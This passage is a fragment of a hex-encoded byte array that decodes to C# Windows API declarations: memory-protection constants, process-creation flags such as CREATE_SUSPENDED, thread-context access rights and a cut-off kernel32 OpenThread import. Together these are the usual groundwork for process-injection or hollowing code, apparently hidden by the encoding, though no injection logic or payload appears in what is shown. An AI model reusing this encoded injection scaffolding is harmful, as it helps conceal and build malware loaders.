0x50, 0x41, 0x47, 0x45, 0x5F, 0x52, 0x45, 0x41, 0x44, 0x57, 0x52, 0x49, 0x54, 0x45, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x34, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x55, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x20, 0x50, 0x41, 0x47, 0x45, 0x5F, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x45, 0x5F, 0x52, 0x45, 0x41, 0x44, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x32, 0x30, 0x3B, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x65, 0x6E, 0x75, 0x6D, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x20, 0x3A, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x41, 0x6C, 0x6C, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x31, 0x46, 0x30, 0x46, 0x46, 0x46, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x54, 0x65, 0x72, 0x6D, 0x69, 0x6E, 0x61, 0x74, 0x65, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x4F, 0x70, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x38, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x44, 0x75, 0x70, 0x6C, 0x69, 0x63, 0x61, 0x74, 0x65, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x34, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x38, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x65, 0x74, 0x51, 0x75, 0x6F, 0x74, 0x61, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x65, 0x74, 0x49, 0x6E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x51, 0x75, 0x65, 0x72, 0x79, 0x49, 0x6E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x34, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4C, 0x69, 0x6D, 0x69, 0x74, 0x65, 0x64, 0x49, 0x6E, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x79, 0x6E, 0x63, 0x68, 0x72, 0x6F, 0x6E, 0x69, 0x7A, 0x65, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x65, 0x6E, 0x75, 0x6D, 0x20, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x20, 0x3A, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x5A, 0x45, 0x52, 0x4F, 0x5F, 0x46, 0x4C, 0x41, 0x47, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x42, 0x52, 0x45, 0x41, 0x4B, 0x41, 0x57, 0x41, 0x59, 0x5F, 0x46, 0x52, 0x4F, 0x4D, 0x5F, 0x4A, 0x4F, 0x42, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4C, 0x54, 0x5F, 0x45, 0x52, 0x52, 0x4F, 0x52, 0x5F, 0x4D, 0x4F, 0x44, 0x45, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x34, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x4E, 0x45, 0x57, 0x5F, 0x43, 0x4F, 0x4E, 0x53, 0x4F, 0x4C, 0x45, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x4E, 0x45, 0x57, 0x5F, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x5F, 0x47, 0x52, 0x4F, 0x55, 0x50, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x4E, 0x4F, 0x5F, 0x57, 0x49, 0x4E, 0x44, 0x4F, 0x57, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x50, 0x52, 0x4F, 0x54, 0x45, 0x43, 0x54, 0x45, 0x44, 0x5F, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x34, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x50, 0x52, 0x45, 0x53, 0x45, 0x52, 0x56, 0x45, 0x5F, 0x43, 0x4F, 0x44, 0x45, 0x5F, 0x41, 0x55, 0x54, 0x48, 0x5A, 0x5F, 0x4C, 0x45, 0x56, 0x45, 0x4C, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x32, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x53, 0x45, 0x50, 0x41, 0x52, 0x41, 0x54, 0x45, 0x5F, 0x57, 0x4F, 0x57, 0x5F, 0x56, 0x44, 0x4D, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5F, 0x57, 0x4F, 0x57, 0x5F, 0x56, 0x44, 0x4D, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x53, 0x55, 0x53, 0x50, 0x45, 0x4E, 0x44, 0x45, 0x44, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x34, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x5F, 0x55, 0x4E, 0x49, 0x43, 0x4F, 0x44, 0x45, 0x5F, 0x45, 0x4E, 0x56, 0x49, 0x52, 0x4F, 0x4E, 0x4D, 0x45, 0x4E, 0x54, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x34, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x44, 0x45, 0x42, 0x55, 0x47, 0x5F, 0x4F, 0x4E, 0x4C, 0x59, 0x5F, 0x54, 0x48, 0x49, 0x53, 0x5F, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x32, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x44, 0x45, 0x42, 0x55, 0x47, 0x5F, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x31, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x44, 0x45, 0x54, 0x41, 0x43, 0x48, 0x45, 0x44, 0x5F, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x38, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x45, 0x58, 0x54, 0x45, 0x4E, 0x44, 0x45, 0x44, 0x5F, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x5F, 0x50, 0x52, 0x45, 0x53, 0x45, 0x4E, 0x54, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x38, 0x30, 0x30, 0x30, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x49, 0x4E, 0x48, 0x45, 0x52, 0x49, 0x54, 0x5F, 0x50, 0x41, 0x52, 0x45, 0x4E, 0x54, 0x5F, 0x41, 0x46, 0x46, 0x49, 0x4E, 0x49, 0x54, 0x59, 0x20, 0x3D, 0x20, 0x30, 0x78, 0x30, 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x20, 0x50, 0x52, 0x4F, 0x43, 0x45, 0x53, 0x53, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x49, 0x64, 0x3B, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x20, 0x53, 0x54, 0x41, 0x52, 0x54, 0x55, 0x50, 0x49, 0x4E, 0x46, 0x4F, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x63, 0x62, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x52, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x44, 0x65, 0x73, 0x6B, 0x74, 0x6F, 0x70, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x6C, 0x70, 0x54, 0x69, 0x74, 0x6C, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x58, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x59, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x58, 0x53, 0x69, 0x7A, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x59, 0x53, 0x69, 0x7A, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x58, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x43, 0x68, 0x61, 0x72, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x59, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x43, 0x68, 0x61, 0x72, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x46, 0x69, 0x6C, 0x6C, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x75, 0x69, 0x6E, 0x74, 0x20, 0x64, 0x77, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x68, 0x6F, 0x72, 0x74, 0x20, 0x77, 0x53, 0x68, 0x6F, 0x77, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x68, 0x6F, 0x72, 0x74, 0x20, 0x63, 0x62, 0x52, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x32, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x6C, 0x70, 0x52, 0x65, 0x73, 0x65, 0x72, 0x76, 0x65, 0x64, 0x32, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x53, 0x74, 0x64, 0x49, 0x6E, 0x70, 0x75, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x53, 0x74, 0x64, 0x4F, 0x75, 0x74, 0x70, 0x75, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x68, 0x53, 0x74, 0x64, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x3B, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x70, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x20, 0x65, 0x6E, 0x75, 0x6D, 0x20, 0x53, 0x57, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x48, 0x49, 0x44, 0x45, 0x20, 0x3D, 0x20, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4E, 0x4F, 0x52, 0x4D, 0x41, 0x4C, 0x20, 0x3D, 0x20, 0x31, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x4E, 0x4F, 0x52, 0x4D, 0x41, 0x4C, 0x20, 0x3D, 0x20, 0x31, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4D, 0x49, 0x4E, 0x49, 0x4D, 0x49, 0x5A, 0x45, 0x44, 0x20, 0x3D, 0x20, 0x32, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4D, 0x41, 0x58, 0x49, 0x4D, 0x49, 0x5A, 0x45, 0x44, 0x20, 0x3D, 0x20, 0x33, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x4D, 0x41, 0x58, 0x49, 0x4D, 0x49, 0x5A, 0x45, 0x20, 0x3D, 0x20, 0x33, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4E, 0x4F, 0x41, 0x43, 0x54, 0x49, 0x56, 0x41, 0x54, 0x45, 0x20, 0x3D, 0x20, 0x34, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x20, 0x3D, 0x20, 0x35, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x4D, 0x49, 0x4E, 0x49, 0x4D, 0x49, 0x5A, 0x45, 0x20, 0x3D, 0x20, 0x36, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4D, 0x49, 0x4E, 0x4E, 0x4F, 0x41, 0x43, 0x54, 0x49, 0x56, 0x45, 0x20, 0x3D, 0x20, 0x37, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x4E, 0x41, 0x20, 0x3D, 0x20, 0x38, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x52, 0x45, 0x53, 0x54, 0x4F, 0x52, 0x45, 0x20, 0x3D, 0x20, 0x39, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x53, 0x48, 0x4F, 0x57, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4C, 0x54, 0x20, 0x3D, 0x20, 0x31, 0x30, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x57, 0x5F, 0x4D, 0x41, 0x58, 0x20, 0x3D, 0x20, 0x31, 0x30, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x46, 0x6C, 0x61, 0x67, 0x73, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x65, 0x6E, 0x75, 0x6D, 0x20, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x3A, 0x20, 0x69, 0x6E, 0x74, 0x0D, 0x0A, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x54, 0x45, 0x52, 0x4D, 0x49, 0x4E, 0x41, 0x54, 0x45, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x30, 0x31, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x55, 0x53, 0x50, 0x45, 0x4E, 0x44, 0x5F, 0x52, 0x45, 0x53, 0x55, 0x4D, 0x45, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x30, 0x32, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x47, 0x45, 0x54, 0x5F, 0x43, 0x4F, 0x4E, 0x54, 0x45, 0x58, 0x54, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x30, 0x38, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x45, 0x54, 0x5F, 0x43, 0x4F, 0x4E, 0x54, 0x45, 0x58, 0x54, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x31, 0x30, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x45, 0x54, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x32, 0x30, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x51, 0x55, 0x45, 0x52, 0x59, 0x5F, 0x49, 0x4E, 0x46, 0x4F, 0x52, 0x4D, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x34, 0x30, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x53, 0x45, 0x54, 0x5F, 0x54, 0x48, 0x52, 0x45, 0x41, 0x44, 0x5F, 0x54, 0x4F, 0x4B, 0x45, 0x4E, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x30, 0x38, 0x30, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x49, 0x4D, 0x50, 0x45, 0x52, 0x53, 0x4F, 0x4E, 0x41, 0x54, 0x45, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x31, 0x30, 0x30, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x5F, 0x49, 0x4D, 0x50, 0x45, 0x52, 0x53, 0x4F, 0x4E, 0x41, 0x54, 0x49, 0x4F, 0x4E, 0x20, 0x3D, 0x20, 0x28, 0x30, 0x78, 0x30, 0x32, 0x30, 0x30, 0x29, 0x0D, 0x0A, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x5B, 0x44, 0x6C, 0x6C, 0x49, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x28, 0x22, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x22, 0x2C, 0x20, 0x53, 0x65, 0x74, 0x4C, 0x61, 0x73, 0x74, 0x45, 0x72, 0x72, 0x6F, 0x72, 0x20, 0x3D, 0x20, 0x74, 0x72, 0x75, 0x65, 0x29, 0x5D, 0x0D, 0x0A, 0x70, 0x75, 0x62, 0x6C, 0x69, 0x63, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x65, 0x78, 0x74, 0x65, 0x72, 0x6E, 0x20, 0x49, 0x6E, 0x74, 0x50, 0x74, 0x72, 0x20, 0x4F, 0x70, 0x65, 0x6E, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x28, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x20, 0x64, 0x77, 0x44, 0x65, 0x73, 0x69, 0x72, 0x65, 0x64, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x2C, 0x20, 0x62, 0x6F, 0x6F, 0x6C, 0x20, 0x62, 0x49, 0x6E, 0x68, 0x65, 0x72, 0x69, 0x74, 